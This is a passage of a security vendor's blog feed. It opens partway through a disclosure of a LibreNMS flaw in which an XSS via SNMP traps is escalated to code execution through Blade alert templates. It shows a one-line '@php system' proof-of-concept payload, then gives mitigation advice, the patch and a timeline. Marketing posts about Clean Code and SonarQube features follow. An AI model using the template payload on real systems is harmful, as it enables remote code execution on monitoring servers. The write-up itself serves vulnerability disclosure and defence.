}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The type value taken from the SNMP trap can be arbitrarily set by an attacker leading to an XSS vulnerability. An attacker can inject a JavaScript payload in the SNMP trap, which is executed when an admin views the eventlog.&lt;/p&gt;&lt;h3&gt;Blade Templates&lt;/h3&gt;&lt;p&gt;The impact of this vulnerability is greatly increased due to a feature called &lt;a href=&quot;https://docs.librenms.org/Alerting/Templates/&quot;&gt;Alert Templates&lt;/a&gt;. This feature allows administrators to create custom templates that will be populated with specific values when an alert occurs.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The template engine used for this feature is Blade. The user-provided custom templates are &lt;a href=&quot;https://laravel.com/docs/10.x/blade#rendering-inline-blade-templates&quot;&gt;rendered inline&lt;/a&gt; by using the &lt;code&gt;Blade::render&lt;/code&gt; method:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;librenms/includes/html/forms/alert-templates.inc.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
Blade::render($vars[&apos;template&apos;]);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Attackers with the ability to control the value passed to this method can &lt;strong&gt;directly gain code execution&lt;/strong&gt;. This is due to the fact that Blade templates allow &lt;a href=&quot;https://laravel.com/docs/10.x/blade#raw-php&quot;&gt;executing arbitrary PHP code&lt;/a&gt; via the &lt;code&gt;@php&lt;/code&gt; directive:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@php
  system(&quot;id&gt;/tmp/pwned&quot;);
@endphp&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Key learnings and Patch&lt;/h2&gt;&lt;p&gt;In this section, we highlight the importance of a secure SNMP configuration, determine the root cause of the XSS vulnerability and outline why it is so important to follow a defense-in-the-depth approach. We also propose a safer approach to run untrusted data in a template engine. At last, we take a look at the patch.&lt;/p&gt;&lt;h3&gt;SNMP&lt;/h3&gt;&lt;p&gt;SNMP should always be used with proper authentication. On the one hand, this applies to SNMP managers, which should be required to authenticate themselves before being able to request information from an SNMP agent. On the other hand, this also applies to the monitored devices, which should not be able to submit information via an SNMP trap without prior authentication. For this purpose, &lt;code&gt;snmptrapd&lt;/code&gt; provides different authentication methods, as documented &lt;a href=&quot;http://www.net-snmp.org/docs/man/snmptrapd.conf.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;XSS&lt;/h3&gt;&lt;p&gt;Technically, the root cause of the XSS vulnerability is simply a lack of proper output encoding. Though, this example is more interesting and demonstrates a pattern we haven’t encountered the first time. The vulnerable event type parameter was originally set to static values only within the existing SNMP trap handlers. Thus there didn’t seem to be a need to sanitize this value. More and more handlers were added by different developers. Eventually, one of these handlers violated the original assumption by populating the event type with a user-controllable value, immediately introducing an XSS vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This example demonstrates why it is so important to follow a defense-in-the-depth approach. Variables should always be assumed to be tainted when passing to a sensitive sink. In this case, the event type should be encoded before inserting it into the outputted HTML. This greatly reduces the risk of introducing new vulnerabilities when the surrounding code changes and the original assumption of the variable not being user-controllable is not true anymore.&lt;/p&gt;&lt;h3&gt;Template Engine&lt;/h3&gt;&lt;p&gt;The impact of the XSS vulnerability is greatly increased due to the &lt;code&gt;Alert Template&lt;/code&gt; feature. Running untrusted input in a template engine can be very dangerous. The impact depends on the template engine in use. It should be ensured that the engine provides a sandbox. Twig, for example, provides a &lt;a href=&quot;https://twig.symfony.com/doc/3.x/api.html#sandbox-extension&quot;&gt;sandbox extension&lt;/a&gt;, which is specifically designated for the purpose of evaluating untrusted input.&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;The XSS vulnerability &lt;a href=&quot;https://github.com/librenms/librenms/commit/00d5e2f4778c334d7bb9ec9e086624906dc6effd&quot;&gt;was mitigated&lt;/a&gt; by encoding the value returned by &lt;code&gt;formatType&lt;/code&gt; using &lt;code&gt;htmlspecialchars&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
private function formatType($eventlog)
{
  // ...
  return htmlspecialchars($eventlog-&gt;type);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;Alert Template&lt;/code&gt; feature was not changed and still uses the Blade template engine. This is very dangerous, as any vulnerability that gives an attacker admin privilege directly leads to remote code execution.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-10-26&lt;/td&gt;&lt;td&gt;We report the issue to the maintainers via huntr.dev.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-11-20&lt;/td&gt;&lt;td&gt;The maintainers confirm the issues.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-11-24&lt;/td&gt;&lt;td&gt;Patched version 22.11.0 is released.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we detailed a critical vulnerability in the monitoring solution LibreNMS, which could be exploited to gain remote code execution by sending a single SNMP trap.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We briefly explained SNMP and how its trap feature is used in LibreNMS. Furthermore, we detailed the discovered XSS vulnerability and deduced its impact, which is greatly increased due to the unsafe usage of the Blade template engine.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the last section, we summarized the key learnings by highlighting the importance of a secure SNMP configuration and outlined why it is so important to follow a defense-in-the-depth approach. In the end, we suggested safe alternatives to run untrusted data in a template engine and took a brief look at the patch of the XSS vulnerability.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-1/&quot;&gt;Checkmk: Remote Code Execution by Chaining Multiple Bugs (1/3)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution/&quot;&gt;Cacti: Unauthenticated Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/zabbix-case-study-of-unsafe-session-storage/&quot;&gt;Zabbix - A Case Study of Unsafe Session Storage&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/&quot;&gt;Path Traversal Vulnerabilities in Icinga Web&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Sonar is the Clean Code solution for your DevOps workflow]]></title><description><![CDATA[Clean Code from Sonar aims to streamline your DevOps workflow so that your organization can yield the best possible results from your software.]]></description><link>https://www.sonarsource.com/blog/Sonar-Clean-Code-for-your-DevOps-workflow</link><guid isPermaLink="false">882817ef-c480-5486-a29a-fc6550808166</guid><dc:creator><![CDATA[Liz Ryan]]></dc:creator><pubDate>Tue, 28 Mar 2023 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The number of developers worldwide is projected to reach &lt;a href=&quot;https://www.statista.com/statistics/627312/worldwide-developer-population/&quot;&gt;27.7 million&lt;/a&gt; in 2023. Take these 27.7 million individuals, and let&amp;#x27;s say, for example, they each write ten lines of code daily. That&amp;#x27;s 277 million lines of code written every day. This continuous development machine is moving faster than ever, which means your DevOps workflow is working overtime to ensure that your piece of the 277 million is pushed smoothly to production without issue. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As the number of developers and lines of code multiplies, the space for issues to fall through the cracks is growing. Pressure to deliver is at an all-time high, and sacrificing quality in the name of new features has become a familiar topic of conversation. Developer productivity remains the focus, while &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt; is overlooked. This strategy may suffice in the short term but is not a long-term solution. Bad code and poor quality create fragility and risk in your codebase and ultimately leave your developer team members feeling defeated if they’re forced to keep their focus on fixing mistakes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So how can you course correct? How can you rid yourself of bad code, optimize your DevOps workflow, increase developer productivity and delivery velocity, and support developer satisfaction? While it may seem like a daunting task, developers need the right tools, time, and processes embedded into their DevOps workflow to perform at their peak, overcome bad code, and create software that has lasting value.&lt;/p&gt;&lt;h2&gt;Clean Code aims to derive value from your DevOps workflow&lt;/h2&gt;&lt;p&gt;If you&amp;#x27;re wondering &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;what Clean Code is&lt;/a&gt;, it&amp;#x27;s when a codebase reaches a problem-free state where all code is fit for development and fit for production. Clean Code encompasses coding best practices that are universally understood and implemented across the organization. It encourages developers to write consistent code that&amp;#x27;s of the highest quality. Clean Code ensures that the bad code and poor quality practices from the past are gone and that your DevOps workflow is working better than ever before.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Clean Code aims to solve several challenges encountered during the coding process:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Maintainability&lt;/strong&gt;: Clean Code ensures that code is easy to read, understand, and modify. This makes maintenance more efficient and less error-prone.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Scalability&lt;/strong&gt;: Clean Code aims to produce code that can be easily scaled up or down to meet changing requirements and delivery demands. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Collaboration&lt;/strong&gt;: When all developers use consistent Clean Code practices, they can work more collaboratively on the same codebase and increase productivity.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Debugging&lt;/strong&gt;: Clean Code makes it easier to debug errors because there is less inconsistency, and code is more extensible, making it easier to pinpoint faults.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Overall, Clean Code aims to streamline your DevOps workflow so that your organization can yield the best possible results from your software.&lt;/p&gt;&lt;h2&gt;Sonar is setting the standard for Clean Code&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar is the solution for developers and teams to achieve a Clean Code state in your codebase through systematic development and delivery. When Sonar seamlessly integrates into your DevOps workflow, you can: &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Reduce risk exposure:&lt;/strong&gt; Flag security issues early in the development workflow before they become problematic. You can also monitor these issues with Sonar’s enterprise reporting, security and regulatory compliance (OWASP Top 10, CWE Top 25, SANS Top 25) reporting, and executive portfolios.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Sustain software performance:&lt;/strong&gt; Your software stays operable when running on Clean Code that&amp;#x27;s easy to understand, review, repair, and enhance. Sonar supplies vertical and horizontal scalability&lt;strong&gt; &lt;/strong&gt;that supports high availability and redundancy. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Achieve more innovation, less rework:&lt;/strong&gt; Ensure you’re only merging quality code with the unique &lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;Clean as You Code&lt;/a&gt; methodology. This remediates old issues while writing new code without dedicating time and money to technical debt. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Attract and retain top developer talent:&lt;/strong&gt; Let developers flex their expertise on their code and focus on new projects. Sonar enables developers to apply Clean Code standards by proactively flagging issues and helping them understand and fix them without leaving their coding flow.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar stays with you from IDE with our free extension, &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt;, to CI/CD, whether you&amp;#x27;re on-premise with &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; or in the cloud with &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While you code, SonarLint acts like a spell checker. It proactively detects coding issues and performs on-the-fly analysis to detect common mistakes, bugs, and security vulnerabilities, while teaching you clean coding practices as you write code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When it&amp;#x27;s time to merge, SonarQube and SonarCloud will provide your team instant pull request feedback. By detecting problems early in the development workflow, issues are never added to your codebase thanks to a clear go/no-go Clean as You Code-compliant quality gate that blocks the merge whenever code doesn&amp;#x27;t meet your defined requirements.&lt;/p&gt;&lt;h2&gt;Clean Code starts today with Clean as You Code&lt;/h2&gt;&lt;p&gt;Achieving a Clean Code state may initially sound overwhelming, but Sonar makes it simple and effective with &lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;Clean as You Code&lt;/a&gt;. Clean as You Code is a methodology that enables developers and organizations to optimize the quality of their codebase by focusing solely on added or changed code. This approach progressively improves the overall quality of the entire codebase with minimal cost and effort. Developers can dedicate less time to technical debt and rework and spend more time on accelerating new features and delivery.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Clean as You Code methodology can be leveraged across any organization and integrated into any DevOps workflow regardless of software maturity, level of developer experience, and internal complexity. By creating consistent coding standards with prescribed quality gates, developers can keep their future code clean, regardless of language or platform, project age or size, or existing code complexity. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Of the millions of lines of code written every day, ensure that yours are the ones of the highest quality. With the power of Clean Code in your corner, you reduce risks, save time and money, increase developer productivity and confidence, and sustain the life of your software.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/PTGYFUR-mgo&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Join millions of developers and hundreds of thousands of organizations in making their code an asset with Clean Code from Sonar.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Your Guide to Clean Code in Cloud Native Apps]]></title><description><![CDATA[Companies are adopting cloud native practices because it puts their core business first and affords them speed and efficiency advantages over the competition. However, reaping these rewards requires a solid, sustainable foundation - a Clean Code foundation.]]></description><link>https://www.sonarsource.com/blog/your-guide-to-clean-code-in-cloud-native-apps</link><guid isPermaLink="false">e1594735-ed68-57d6-a93a-bca73ec252c6</guid><dc:creator><![CDATA[Clint Cameron]]></dc:creator><pubDate>Thu, 23 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Whether you&amp;#x27;re considering or you&amp;#x27;ve already started your journey with cloud native, make sure you&amp;#x27;re building your apps with Clean Code. With cloud native, there are a lot of new technologies and concepts to learn and it can be easy to miss a permission setting or leave a storage bucket unencrypted. There are a lot of security gaps that can happen with cloud native and gaps mean risk to your users, your organization and your reputation. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar has the tools and process to make sure coding issues don&amp;#x27;t make it into the wild where they can potentially harm your users. With Sonar, developers can directly affect the quality and security of the cloud native code they write. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Download the free ebook &amp;#x27; Your Guide to Clean Code in Cloud Native Apps&amp;#x27; and learn how you can safely and confidently build a cloud native app your users will love and keeps them safe. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[The top 5 common TypeScript issues found by SonarLint]]></title><description><![CDATA[We crunched the data from SonarLint to discover the top 5 most common TypeScript issues. This is a summary of the top 5]]></description><link>https://www.sonarsource.com/blog/the-top-5-common-typescript-issues-found-by-sonarlint</link><guid isPermaLink="false">e94af287-3e31-5b84-ac2f-de7532df01f1</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Mon, 20 Mar 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Over the past 5 weeks, we&amp;#x27;ve been counting down our top 5 issues that &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; sees in TypeScript projects. We dug into the SonarLint data to see which of its &lt;a href=&quot;https://rules.sonarsource.com/typescript&quot;&gt;300+ rules&lt;/a&gt; were invoked most often to flag a bug, code smell, vulnerability or security hotspot that could be caught before being committed. This is a round-up of all the issues and where you can look to learn more about them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Naturally, these are all common issues and the consequences they can have on your application vary quite a bit. From confusing types to memory leaks and hard-to-spot bugs, these issues could impact both your end users and the cleanliness of your code. With &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; in your editor, these issues can be caught as you write them, saving time and keeping your &lt;a href=&quot;https://www.sonarsource.com/solutions/power-of-clean-code/&quot;&gt;code clean&lt;/a&gt; and bug-free.&lt;/p&gt;&lt;h2&gt;The top 5&lt;/h2&gt;&lt;p&gt;In reverse order, our top 5 common TypeScript issues are:&lt;/p&gt;&lt;h3&gt;5. Optional property declarations&lt;/h3&gt;&lt;p&gt;Starting with a type based issue, SonarLint often sees the combination of optional property syntax with union types that include `undefined`. While not necessarily a bug, this issue turns a type from something that communicates the intention of the developer to something that confuses. &lt;a href=&quot;https://www.sonarsource.com/blog/common-typescript-issues-no-5-optional-property-declarations/&quot;&gt;Get your optional property declarations right&lt;/a&gt; and your interfaces will describe your objects the way you meant them to.&lt;/p&gt;&lt;h3&gt;4. Creating and dropping objects immediately&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/common-typescript-issues-no-4-don-t-create-and-drop-objects-immediately/&quot;&gt;Creating an object but never using it&lt;/a&gt; is a code smell. It is either a mistake and you meant to assign the object to a variable and use it later, or it implies that you are creating the object to use a side-effect contained in the object&amp;#x27;s constructor. The former is easily fixed, the latter requires a refactor to remove the side effects from the constructor and turn them into a function that more clearly shows the intention.&lt;/p&gt;&lt;h3&gt;3. Unused local variables and functions&lt;/h3&gt;&lt;p&gt;Unused pieces of code can clutter your codebase, but they can also cause some interesting bugs and even memory leaks. Check out &lt;a href=&quot;https://www.sonarsource.com/blog/common-typescript-issues-no-3-unused-local-variables-and-functions/&quot;&gt;what can go wrong if you leave unused variables and functions lying around.&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;2. Non-empty statements should change control flow or have at least one side-effect&lt;/h3&gt;&lt;p&gt;If a statement in your code doesn&amp;#x27;t cause a change somewhere, it&amp;#x27;s likely not doing anything at all, and code that doesn&amp;#x27;t do anything is of no use to our application. If the code was supposed to do something, then this is a bug, and one you&amp;#x27;ll want to catch early. &lt;a href=&quot;https://www.sonarsource.com/blog/common-typescript-issues-no-2-non-empty-statements/&quot;&gt;Check out the ways that non-empty statements can crop up in our code.&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;1. Assignments within sub-expressions&lt;/h3&gt;&lt;p&gt;Our top issue that SonarLint catches in all of our code is &lt;a href=&quot;https://www.sonarsource.com/blog/common-typescript-issues-no-1-assignments-within-sub-expressions/&quot;&gt;assignments within sub-expressions.&lt;/a&gt; This is either a readability concern, or more importantly, a bug where you assign inside a conditional statement instead of comparing. Spotting a missing &lt;code&gt;=&lt;/code&gt; sign, or two, inside a conditional can be frustrating if you are hunting for the bug, but when your tooling points it out life is a lot easier!&lt;/p&gt;&lt;h2&gt;Which have you seen?&lt;/h2&gt;&lt;p&gt;So these are our top 5. I reckon I&amp;#x27;ve written code that triggers each of these issues in my past. They come up all the time and avoiding them, or at least fixing them quickly, will make your code clean and your life better. There are plenty more &lt;a href=&quot;https://rules.sonarsource.com/typescript&quot;&gt;potential TypeScript issues&lt;/a&gt; that SonarLint can help you spot in your application.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Keeping your code clean and bug-free as you write or refactor ensures your application will be more maintainable in development and work better in production. Now you&amp;#x27;ve seen what these common issues can do, I hope you&amp;#x27;re prepared to keep them at bay and leverage &lt;a href=&quot;https://www.sonarsource.com/solutions/power-of-clean-code/&quot;&gt;the power of Clean Code&lt;/a&gt; to ensure your code remains an asset and not a liability.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Cloud native features in SonarQube 9.9 LTS]]></title><description><![CDATA[The best LTS ever - SonarQube v9.9 - packed together a lot of new features and functionality. Read more to learn about the cloud native, IaC and serverless analysis capabilities included in the LTS.]]></description><link>https://www.sonarsource.com/blog/cloud-native-features-in-sonarqube-9-9-lts</link><guid isPermaLink="false">7cf974b0-bf56-5099-ba8e-8b023bd5437b</guid><dc:creator><![CDATA[Clint Cameron]]></dc:creator><pubDate>Thu, 16 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The SonarQube 9.9 LTS brought many new features dedicated to helping you deliver Clean Code day after day. A lot of that functionality is centered around cloud native technologies including Infrastructure as Code (IaC). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This article offers an overview of these benefits along with links so you can learn more about the features that interest you.  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 9.9 LTS supports the following cloud native technologies:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/terraform&quot;&gt;Terraform&lt;/a&gt; for AWS, GCP, Azure &lt;/li&gt;&lt;li&gt;AWS &lt;a href=&quot;https://rules.sonarsource.com/cloudformation&quot;&gt;CloudFormation&lt;/a&gt; (yaml or json) &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/kubernetes&quot;&gt;Kubernetes&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/docker&quot;&gt;Docker&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Many of the cloud native based rules in v9.9 are security focused in the following areas:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;S3 Buckets (&lt;a href=&quot;https://community.sonarsource.com/t/sonarcloud-can-scan-terraform-and-cloudformation-files-cfn-lint-support/48550&quot;&gt;Community Announcement&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Permissions (&lt;a href=&quot;https://community.sonarsource.com/t/sonarcloud-detects-permission-problems-on-aws-resources-on-cloudformation-and-terraform-files/50644&quot;&gt;Community Announcement&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Encryption at Rest (&lt;a href=&quot;https://community.sonarsource.com/t/sonarcloud-detects-unencrypted-aws-resources-at-rest-on-cloudformation-and-terraform-files/49817&quot;&gt;Community Announcement&lt;/a&gt;) &lt;/li&gt;&lt;li&gt;Encryption at Transit (&lt;a href=&quot;https://community.sonarsource.com/t/sonarcloud-detects-encryption-at-transit-and-traceability-security-problems-on-aws-resources/53580&quot;&gt;Community Announcement&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Traceability&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Feature: Detect insecure configurations in your AWS CDK code&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you are describing your AWS infrastructure with the AWS CDK for Python or JavaScript/TypeScript, SonarQube 9.9 LTS will detect insecure configurations in the following domains:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Python&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;S3 Buckets (&lt;a href=&quot;https://community.sonarsource.com/t/python-4-rules-to-detect-security-misconfigurations-of-s3-buckets-managed-with-aws-cdk/63204&quot;&gt;Community Announcement&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Encryption at Rest and at Transit (&lt;a href=&quot;https://community.sonarsource.com/t/sonarcloud-detects-encryption-problems-in-your-python-cdk-code/74208&quot;&gt;Community Announcement&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Permissions + Traceability (&lt;a href=&quot;https://www.sonarqube.org/sonarqube-9-7/&quot;&gt;https://www.sonarqube.org/sonarqube-9-7/&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Node.JS&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;S3 Buckets &lt;/li&gt;&lt;li&gt;Encryption at Rest and at Transit (available since Nov 2022)&lt;/li&gt;&lt;li&gt;Permissions + Traceability (available since Nov 2022)&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Feature: Detect injection vulnerabilities in your AWS Lambdas&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;AWS Lambdas can be the entry point of injection attacks. SonarQube v9.9 relies on the same Sonar Taint Analyzer engine used to find injection vulnerabilities in web applications to detect if some malicious inputs are injected in the entry points of AWS Lambdas written in Python or JS/TS. Serverless and SAM frameworks are supported.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;JavaScript (&lt;a href=&quot;https://community.sonarsource.com/t/sonarcloud-detects-injection-vulnerabilities-in-your-aws-lambda-written-in-javascript/49206&quot;&gt;Community Announcement&lt;/a&gt;)&lt;/p&gt;&lt;p&gt;Python (&lt;a href=&quot;https://community.sonarsource.com/t/sonarcloud-detects-injection-vulnerabilities-in-your-aws-lambda-written-in-python/52457&quot;&gt;Community Announcement&lt;/a&gt;)&lt;/p&gt;&lt;h3&gt;Feature: Detect Code Quality issues in all your Python and JavaScript/TypeScript code&lt;/h3&gt;&lt;p&gt;Finding and fixing vulnerabilities to keep your users safe is super important and it’s also important to keep your codebase squeaky clean. SonarQube v9.9 includes hundreds of rules designed to find bugs and code smells in all your Python and JS/TS projects. These same rules are executed in the context of cloud native code so ALL of your source and test code is kept in a &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code state&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The projects making up your cloud native apps likely combine code from many popular languages used today including &lt;a href=&quot;https://rules.sonarsource.com/java&quot;&gt;Java&lt;/a&gt;, &lt;a href=&quot;https://rules.sonarsource.com/go&quot;&gt;Go&lt;/a&gt; and &lt;a href=&quot;https://rules.sonarsource.com/python&quot;&gt;Python&lt;/a&gt;. In all, SonarQube v9.9 can detect quality and security issues in over 30 &lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/&quot;&gt;languages&lt;/a&gt;, frameworks and cloud technologies. With Sonar, you get a complete, reliable Clean Code solution for all the projects in your organization.&lt;/p&gt;&lt;h3&gt;Feature: Detect secrets/tokens in major cloud providers&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Lastly, SonarQube detects &lt;a href=&quot;https://rules.sonarsource.com/secrets/&quot;&gt;secrets&lt;/a&gt; and tokens accidentally left in your cloud-based code before they make it out into the wild and into malicious hands. &lt;/p&gt;&lt;h3&gt;Clean Code for the Win!&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Join the clean code movement, be intentional with the quality of your codebase and take pride in delivering cloud native apps in a safe, sustainable way. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Thanks for reading and happy, clean, cloud native coding!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Pick a topic to discover more:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-9-9-lts/&quot;&gt;SonarQube 9.9 LTS Announcement&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/the-best-approach-to-writing-secure-cloud-native-apps/&quot;&gt;Clean Code: The Best Approach to Writing Secure Cloud Native Apps&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/power-of-clean-code/&quot;&gt;The Power of Clean Code&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[9 more reasons to upgrade to SonarQube 9.9 LTS]]></title><description><![CDATA[SonarQube 9.9 LTS is here! Not every improvement could be mentioned in the release announcement, so check out these LTS easter eggs that make this the Best LTS Ever.]]></description><link>https://www.sonarsource.com/blog/sonarqube-lts-99-extra-features-part-1</link><guid isPermaLink="false">6de9dafb-e0de-52ec-a56c-05e31f5e0bbd</guid><dc:creator><![CDATA[Colin Mueller]]></dc:creator><pubDate>Mon, 13 Mar 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;SonarQube 9.9 LTS was released in February and we hope you’ve already &lt;a 